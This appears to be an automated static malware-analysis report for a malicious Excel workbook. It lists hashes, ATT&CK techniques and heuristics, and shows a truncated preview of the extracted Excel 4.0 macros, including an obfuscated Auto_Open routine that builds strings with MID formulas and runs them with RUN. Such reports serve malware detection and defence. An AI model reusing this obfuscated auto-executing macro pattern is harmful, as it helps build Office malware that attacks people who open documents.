Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e3765f4cdb0b7d09…

MALICIOUS

Office (OLE)

331.0 KB Created: 2020-05-22 10:59:56 Authoring application: Microsoft Excel First seen: 2020-09-15
MD5: 4b2fb039377ba1812addf2b7b14b0b10 SHA-1: 84f448644afee68b5fcf6fe2e4312164ad0f2e08 SHA-256: e3765f4cdb0b7d09ff6b953d24a5304ac8eaf3a16639e4b1f995d8f06877c911
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macros, specifically an Auto_Open macro, which is a known technique for executing malicious code. The macro uses dangerous formula APIs, including the RUN function, indicating an attempt to execute arbitrary commands. The obfuscated nature of the macro formula suggests an effort to hide its malicious intent.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 39092 bytes
SHA-256: b1757c2c9f0ecb6bb710121996db571c4a8a8aed0767fe7b347c58a04832ec12
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     38 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  d6v7x6XNtb5ncGius4uBKfciLaYQa
' 0018     28 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open hidden len=7 ptgRef3d  Sheet!DI7039 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
'  d6v7x6XNtb5ncGius4uBKfciLaYQa,DC2284,"FORMULA(MID(GL28285,12,1)&MID(GL28285,18,1)&MID(GL28285,16,1)&MID(JM16351,8,1)&MID(JM16351,8,1)&MID(BD22888,9,1)&MID(BD22888,3,1)&MID(BO43062,11,1)&MID(BO43062,8,1)&MID(BO43062,2,1)&MID(BO43062,3,1)&MID(BO43062,5,1)&MID(BO43062,4,1)&MID(BD22888,3,1)&MID(BD22888,13,1)&MID(BD22888,3,1)&MID(JM16351,17,1)&MID(JM16351,14,1)&MID(JM16351,8,1)&MID(GL28285,19,1)&MID(BO43062,5,1)&MID(BO43062,13,1)&MID(BO43062,4,1)&MID(BO43062,2,1)&MID(BO43062,5,1)&MID(EN19959,10,1)&MID(EN19959,13,1)&MID(JM16351,16,1)&MID(BO43062,5,1)&MID(JM16351,2,1)&MID(EN19959,18,1)&MID(BO43062,2,1)&MID(EN19959,14,1)&MID(GL28285,16,1)&MID(BD22888,3,1)&MID(BD22888,13,1)&MID(BD22888,3,1)&MID(JM16351,6,1)&MID(JM16351,6,1)&MID(GL28285,18,1)&MID(GL28285,18,1)&MID(JM16351,6,1)&MID(JM16351,6,1)&MID(BD22888,3,1)&MID(BD22888,13,1)&MID(BD22888,17,1)&MID(BD22888,13,1)&MID(JM16351,14,1)&MID(EN19959,4,1)&MID(BD22888,14,1)&MID(BD22888,18,1)&MID(GL28285,8,1)&MID(GL28285,7,1)&MID(GL28285,1,1)&MID(GL28285,1,1)&MID(EN19959,6,1)&MID(GL28285,18,1)&MID(EN19959,4,1)&MID(BD22888,14,1)&MID(GL28285,2,1)&MID(GL28285,5,1)&MID(EN19959,6,1)&MID(BD22888,13,1)&MID(JM16351,14,1)&MID(EN19959,4,1)&MID(GL28285,2,1)&MID(GL28285,7,1)&MID(GL28285,4,1)&MID(GL28285,7,1)&MID(GL28285,2,1)&MID(EN19959,6,1)&MID(GL28285,18,1)&MID(EN19959,4,1)&MID(BD22888,14,1)&MID(BD22888,18,1)&MID(GL28285,1,1)&MID(BD22888,17,1)&MID(EN19959,6,1)&MID(BD22888,13,1)&MID(BD22888,17,1)&MID(BD22888,13,1)&MID(BD22888,17,1)&MID(BD22888,10,1),IT25127)",""
'  d6v7x6XNtb5ncGius4uBKfciLaYQa,DC2285,RUN(FI26789),""
'  d6v7x6XNtb5ncGius4uBKfciLaYQa,BQ2615,RUN(BA19500),""
'  d6v7x6XNtb5ncGius4uBKfciLaYQa,JD5509,"FORMULA(MID(GL28285,12,1)&MID(BD22888,3,1)&MID(EN19959,17,1)&MID(BO43062,10,1)&MID(BO43062,10,1)&MID(BO43062,6,1)&MID(BO43062,9,1)&MID(GL28285,9,1)&MID(BD22888,16,1)&MID(BD22888,16,1)&MID(BO43062,9,1)&MID(EN19959,12,1)&MID(BO43062,9,1)&MID(EN19959,10,1)&MID(BO43062,4,1)&MID(BO43062,13,1)&MID(EN19959,14,1)&MID(EN19959,18,1)&MID(BD22888,15,1)&MID(EN19959,12,1)&MID(BO43062,4,1)&MID(BD22888,16,1)&MID(BO43062,13,1)&MID(BO43062,6,1)&MID(BD22888,14,1)&MID(BO43062,1,1)&MID(EN19959,14,1)&MID(BO43062,15,1)&MID(BO43062,9,1)&MID(BD22888,15,1)&MID(BO43062,6,1)&MID(EN19959,17,1)&MID(BO43062,6,1)&MID(BD22888,3,1),IQ9844)",""
'  d6v7x6XNtb5ncGius4uBKfciLaYQa,JD5510,GOTO(Y51331),""
'  d6v7x6XNtb5ncGius4uBKfciLaYQa,BY6643,"FORMULA("EFGHIJKLMNOPQRSTUVW",GV56882)",""
'  d6v7x6XNtb5ncGius4uBKfciLaYQa,BY6644,GOTO(JF27476),""
'  d6v7x6XNtb5ncGius4uBKfciLaYQa,DI7039,"FORMULA(" !"#$%&'()*+,-./01",FY26520)",""
'  d6v7x6XNtb5ncGius4uBKfciLaYQa,DI7040,GOTO(CG36725),""
'  d6v7x6XNtb5ncGius4uBKfciLaYQa,CO9038,RUN(CN12883),""
'  d6v7x6XNtb5ncGius4uBKfciLaYQa,M9281,"FORMULA(MID(GL2497,12,1)&MID(FY26520,3,1)&MID(GL2497,18,1)&MID(GL2497,9,1)&MID(EK16456,5,1)&MID(GV56882,19,1)&MID(EK16456,18,1)&MID(BP47660,4,1)&MID(EK16456,13,1)&MID(BP47660,5,1)&MID(BP47660,13,1)&MID(BP47660,9,1)&MID(EK16456,5,1)&MID(BP47660,9,1)&MID(BP47660,15,1)&MID(BP47660,9,1)&MID(BP47660,10,1)&MID(EK16456,14,1)&MID(BP47660,3,1)&MID(GL2497,2,1)&MID(GL2497,1,1)&MID(EK16456,5,1)&MID(BP47660,8,1)&MID(EK16456,14,1)&MID(EK16456,16,1)&MID(FY26520,15,1)&MID(EK16456,14,1)&MID(BP47660,14,1)&MID(EK16456,14,1)&MID(FY26520,3,1),DC47258)",""
'  d6v7x6XNtb5ncGius4uBKfciLaYQa,M9282,RUN(BC12091),""
'  d6v7x6XNtb5ncGius4uBKfciLaYQa,IQ9845,RUN(CB19723),""
'  d6v7x6XNtb5ncGius4uBKfciLaYQa,EO10160,"FORMULA(MID(GL2497,12,1)&MID(GV56882,5,1)&MID(GV56882,2,1)&MID(FY26520,9,1)&MID(GV56882,3,1)&MID(GV56882,1,1)&MID(GV56882,16,1)&MID(FY26520,15,1)&MID(GV56882,19,1)&MID(GV56882
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.